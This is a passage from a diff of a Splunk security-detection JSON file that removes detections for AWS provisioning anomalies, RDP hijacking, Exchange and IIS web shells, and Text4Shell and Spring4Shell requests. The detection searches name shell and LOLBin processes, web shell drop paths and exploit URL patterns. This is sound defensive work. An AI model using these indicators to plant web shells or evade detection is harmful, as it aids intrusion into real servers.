"mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS Cloud Provisioning From Previously Unseen City", - "description": "This search looks for AWS provisioning activities from previously unseen cities. Provisioning activities are defined broadly as any event that begins with \"Run\" or \"Create.\" This search is deprecated and have been translated to use the latest Change Datamodel. ", - "search": "`cloudtrail` (eventName=Run* OR eventName=Create*) | iplocation sourceIPAddress | search City=* [search `cloudtrail` (eventName=Run* OR eventName=Create*) | iplocation sourceIPAddress | search City=* | stats earliest(_time) as firstTime, latest(_time) as lastTime by sourceIPAddress, City, Region, Country | inputlookup append=t previously_seen_provisioning_activity_src.csv | stats min(firstTime) as firstTime max(lastTime) as lastTime by sourceIPAddress, City, Region, Country | outputlookup previously_seen_provisioning_activity_src.csv | stats min(firstTime) as firstTime max(lastTime) as lastTime by City | eval newCity=if(firstTime >= relative_time(now(), \"-70m@m\"), 1, 0) | where newCity=1 | table City] | spath output=user userIdentity.arn | rename sourceIPAddress as src_ip | table _time, user, src_ip, City, eventName, errorCode | `aws_cloud_provisioning_from_previously_unseen_city_filter`", - "tags": { - "analytic_story": [ - "AWS Suspicious Provisioning Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS Cloud Provisioning From Previously Unseen Country", - "description": "This search looks for AWS provisioning activities from previously unseen countries. Provisioning activities are defined broadly as any event that begins with \"Run\" or \"Create.\" This search is deprecated and have been translated to use the latest Change Datamodel. ", - "search": "`cloudtrail` (eventName=Run* OR eventName=Create*) | iplocation sourceIPAddress | search Country=* [search `cloudtrail` (eventName=Run* OR eventName=Create*) | iplocation sourceIPAddress | search Country=* | stats earliest(_time) as firstTime, latest(_time) as lastTime by sourceIPAddress, City, Region, Country | inputlookup append=t previously_seen_provisioning_activity_src.csv | stats min(firstTime) as firstTime max(lastTime) as lastTime by sourceIPAddress, City, Region, Country | outputlookup previously_seen_provisioning_activity_src.csv | stats min(firstTime) as firstTime max(lastTime) as lastTime by Country | eval newCountry=if(firstTime >= relative_time(now(), \"-70m@m\"), 1, 0) | where newCountry=1 | table Country] | spath output=user userIdentity.arn | rename sourceIPAddress as src_ip | table _time, user, src_ip, Country, eventName, errorCode | `aws_cloud_provisioning_from_previously_unseen_country_filter`", - "tags": { - "analytic_story": [ - "AWS Suspicious Provisioning Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS Cloud Provisioning From Previously Unseen Region", - "description": "This search looks for AWS provisioning activities from previously unseen regions. Region in this context is similar to a state in the United States. Provisioning activities are defined broadly as any event that begins with \"Run\" or \"Create.\" This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` (eventName=Run* OR eventName=Create*) | iplocation sourceIPAddress | search Region=* [search `cloudtrail` (eventName=Run* OR eventName=Create*) | iplocation sourceIPAddress | search Region=* | stats earliest(_time) as firstTime, latest(_time) as lastTime by sourceIPAddress, City, Region, Country | inputlookup append=t previously_seen_provisioning_activity_src.csv | stats min(firstTime) as firstTime max(lastTime) as lastTime by sourceIPAddress, City, Region, Country | outputlookup previously_seen_provisioning_activity_src.csv | stats min(firstTime) as firstTime max(lastTime) as lastTime by Region | eval newRegion=if(firstTime >= relative_time(now(), \"-70m@m\"), 1, 0) | where newRegion=1 | table Region] | spath output=user userIdentity.arn | rename sourceIPAddress as src_ip | table _time, user, src_ip, Region, eventName, errorCode | `aws_cloud_provisioning_from_previously_unseen_region_filter`", - "tags": { - "analytic_story": [ - "AWS Suspicious Provisioning Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "EC2 Instance Started In Previously Unseen Region", - "description": "This search looks for AWS CloudTrail events where an instance is started in a particular region in the last one hour and then compares it to a lookup file of previously seen regions where an instance was started", - "search": "`cloudtrail` earliest=-1h StartInstances | stats earliest(_time) as earliest latest(_time) as latest by awsRegion | inputlookup append=t previously_seen_aws_regions.csv | stats min(earliest) as earliest max(latest) as latest by awsRegion | outputlookup previously_seen_aws_regions.csv | eval regionStatus=if(earliest >= relative_time(now(),\"-1d@d\"), \"Instance Started in a New Region\",\"Previously Seen Region\") | `security_content_ctime(earliest)` | `security_content_ctime(latest)` | where regionStatus=\"Instance Started in a New Region\" | `ec2_instance_started_in_previously_unseen_region_filter`", - "tags": { - "analytic_story": [ - "AWS Cryptomining", - "Suspicious AWS EC2 Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -347010,111 +246304,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Windows Service Create with Tscon", - "description": "The following analytic detects potential RDP Hijacking attempts by identifying the creation of a Windows service using sc.exe with a binary path that includes tscon.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant as it indicates an attacker may be trying to hijack a disconnected RDP session, posing a risk of unauthorized access. If confirmed malicious, the attacker could gain control over an existing user session, leading to potential data theft or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sc.exe Processes.process=\"*/dest:rdp-tcp*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_with_tscon_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to hijack a RDP session.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1563.002", - "mitre_attack_technique": "RDP Hijacking", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Axiom" - ] - }, - { - "mitre_attack_id": "T1563", - "mitre_attack_technique": "Remote Service Session Hijacking", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -348455,1087 +247644,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "Detect Exchange Web Shell", - "description": "The following analytic identifies the creation of suspicious .aspx files in known drop locations for Exchange exploitation, specifically targeting paths associated with HAFNIUM group and vulnerabilities like ProxyShell and ProxyNotShell. It leverages data from the Endpoint datamodel, focusing on process and filesystem events. This activity is significant as it may indicate a web shell deployment, a common method for persistent access and remote code execution. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary commands, and potentially escalate privileges within the Exchange environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=System by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\HttpProxy\\\\owa\\\\auth\\\\*\", \"*\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*\", \"*\\\\HttpProxy\\\\OAB\\\\*\") Filesystem.file_name IN( \"*.aspx\", \"*.ashx\") by _time span=1h Filesystem.user Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest user file_create_time file_name file_path process_name process_path process] | dedup file_create_time | table dest user file_create_time, file_name, file_path, process_name | `detect_exchange_web_shell_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-257A", - "HAFNIUM Group", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to IIS exploitation previously performed by HAFNIUM. Review further file modifications on endpoint $dest$ by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Webshell Exploit Behavior", - "description": "The following analytic identifies the execution of suspicious processes typically associated with webshell activity on web servers. It detects when processes like `cmd.exe`, `powershell.exe`, or `bash.exe` are spawned by web server processes such as `w3wp.exe` or `nginx.exe`. This behavior is significant as it may indicate an adversary exploiting a web application vulnerability to install a webshell, providing persistent access and command execution capabilities. If confirmed malicious, this activity could allow attackers to maintain control over the compromised server, execute arbitrary commands, and potentially escalate privileges or exfiltrate sensitive data.", - "search": "| tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime from datamodel=Endpoint.Processes where (Processes.process_name IN (\"arp.exe\",\"at.exe\",\"bash.exe\",\"bitsadmin.exe\",\"certutil.exe\",\"cmd.exe\",\"cscript.exe\", \"dsget.exe\",\"dsquery.exe\",\"find.exe\",\"findstr.exe\",\"fsutil.exe\",\"hostname.exe\",\"ipconfig.exe\",\"ksh.exe\",\"nbstat.exe\", \"net.exe\",\"net1.exe\",\"netdom.exe\",\"netsh.exe\",\"netstat.exe\",\"nltest.exe\",\"nslookup.exe\",\"ntdsutil.exe\",\"pathping.exe\", \"ping.exe\",\"powershell.exe\",\"pwsh.exe\",\"qprocess.exe\",\"query.exe\",\"qwinsta.exe\",\"reg.exe\",\"rundll32.exe\",\"sc.exe\", \"scrcons.exe\",\"schtasks.exe\",\"sh.exe\",\"systeminfo.exe\",\"tasklist.exe\",\"tracert.exe\",\"ver.exe\",\"vssadmin.exe\", \"wevtutil.exe\",\"whoami.exe\",\"wmic.exe\",\"wscript.exe\",\"wusa.exe\",\"zsh.exe\") AND Processes.parent_process_name IN (\"w3wp.exe\", \"http*.exe\", \"nginx*.exe\", \"php*.exe\", \"php-cgi*.exe\",\"tomcat*.exe\")) by Processes.dest,Processes.user,Processes.parent_process,Processes.parent_process_name,Processes.process,Processes.process_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_webshell_exploit_behavior_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-257A", - "CISA AA22-264A", - "Citrix ShareFile RCE CVE-2023-24489", - "Flax Typhoon", - "HAFNIUM Group", - "ProxyNotShell", - "ProxyShell", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability", - "WS FTP Server Critical Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Webshell Exploit Behavior - $parent_process_name$ spawned $process_name$ on $dest$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "MS Exchange Mailbox Replication service writing Active Server Pages", - "description": "The following analytic identifies the creation of suspicious .aspx files in specific directories associated with Exchange exploitation by the HAFNIUM group and the ProxyShell vulnerability. It detects this activity by monitoring the MSExchangeMailboxReplication.exe process, which typically does not write .aspx files. This behavior is significant as it may indicate an active exploitation attempt on Exchange servers. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, or maintain persistence within the environment. Immediate investigation and remediation are crucial to prevent further compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=MSExchangeMailboxReplication.exe by _time span=1h Processes.process_id Processes.process_name Processes.process_guid Processes.dest | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\HttpProxy\\\\owa\\\\auth\\\\*\", \"*\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*\", \"*\\\\HttpProxy\\\\OAB\\\\*\") Filesystem.file_name=\"*.aspx\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process process_guid] | dedup file_create_time | table dest file_create_time, file_name, file_path, process_name | `ms_exchange_mailbox_replication_service_writing_active_server_pages_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to IIS exploitation related to ProxyShell. Review further file modifications on endpoint $dest$ by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "W3WP Spawning Shell", - "description": "The following analytic identifies instances where a shell (PowerShell.exe or Cmd.exe) is spawned from W3WP.exe, the IIS worker process. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is W3WP.exe. This activity is significant as it may indicate webshell activity, often associated with exploitation attempts like those by the HAFNIUM Group on Exchange servers. If confirmed malicious, this behavior could allow attackers to execute arbitrary commands, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=w3wp.exe AND `process_cmd` OR `process_powershell` by Processes.dest Processes.parent_process Processes.original_file_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `w3wp_spawning_shell_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-257A", - "CISA AA22-264A", - "Data Destruction", - "Flax Typhoon", - "HAFNIUM Group", - "Hermetic Wiper", - "ProxyNotShell", - "ProxyShell", - "WS FTP Server Critical Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible Web Shell execution on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Exploit Public Facing Application via Apache Commons Text", - "description": "The following analytic detects attempts to exploit the CVE-2022-42889 vulnerability in the Apache Commons Text Library, known as Text4Shell. It leverages the Web datamodel to identify suspicious HTTP requests containing specific lookup keys (url, dns, script) that can lead to Remote Code Execution (RCE). This activity is significant as it targets a critical vulnerability that can allow attackers to execute arbitrary code on the server. If confirmed malicious, this could lead to full system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.http_method IN (POST, GET) by Web.src Web.status Web.uri_path Web.dest Web.http_method Web.uri_query Web.http_user_agent | `drop_dm_object_name(\"Web\")` | eval utf=if(like(lower(uri_query),\"%:utf-8:http%\"),2,0) | eval lookup = if(like(lower(uri_query), \"%url%\") OR like(lower(uri_query), \"%dns%\") OR like(lower(uri_query), \"%script%\"),2,0) | eval other_lookups = if(like(lower(uri_query), \"%env%\") OR like(lower(uri_query), \"%file%\") OR like(lower(uri_query), \"%getRuntime%\") OR like(lower(uri_query), \"%java%\") OR like(lower(uri_query), \"%localhost%\") OR like(lower(uri_query), \"%properties%\") OR like(lower(uri_query), \"%resource%\") OR like(lower(uri_query), \"%sys%\") OR like(lower(uri_query), \"%xml%\") OR like(lower(uri_query), \"%base%\"),1,0) | addtotals fieldname=Score utf lookup other_lookups | fields Score, src, dest, status, uri_query, uri_path, http_method, http_user_agent firstTime lastTime | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where Score >= 3 | `exploit_public_facing_application_via_apache_commons_text_filter`", - "tags": { - "analytic_story": [ - "Text4Shell CVE-2022-42889" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to Text4Shell on $dest$ by $src$.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Spring4Shell Payload URL Request", - "description": "The following analytic detects attempts to exploit the Spring4Shell vulnerability (CVE-2022-22963) by identifying specific URL patterns associated with web shell payloads. It leverages web traffic data, focusing on HTTP GET requests with URLs containing indicators like \"tomcatwar.jsp,\" \"poc.jsp,\" and \"shell.jsp.\" This activity is significant as it suggests an attacker is trying to deploy a web shell, which can lead to remote code execution. If confirmed malicious, this could allow the attacker to gain persistent access, execute arbitrary commands, and potentially escalate privileges within the compromised environment.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url IN (\"*tomcatwar.jsp*\",\"*poc.jsp*\",\"*shell.jsp*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spring4shell_payload_url_request_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to Spring4Shell POC code on $dest$ by $src$.", - "risk_score": 36, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - 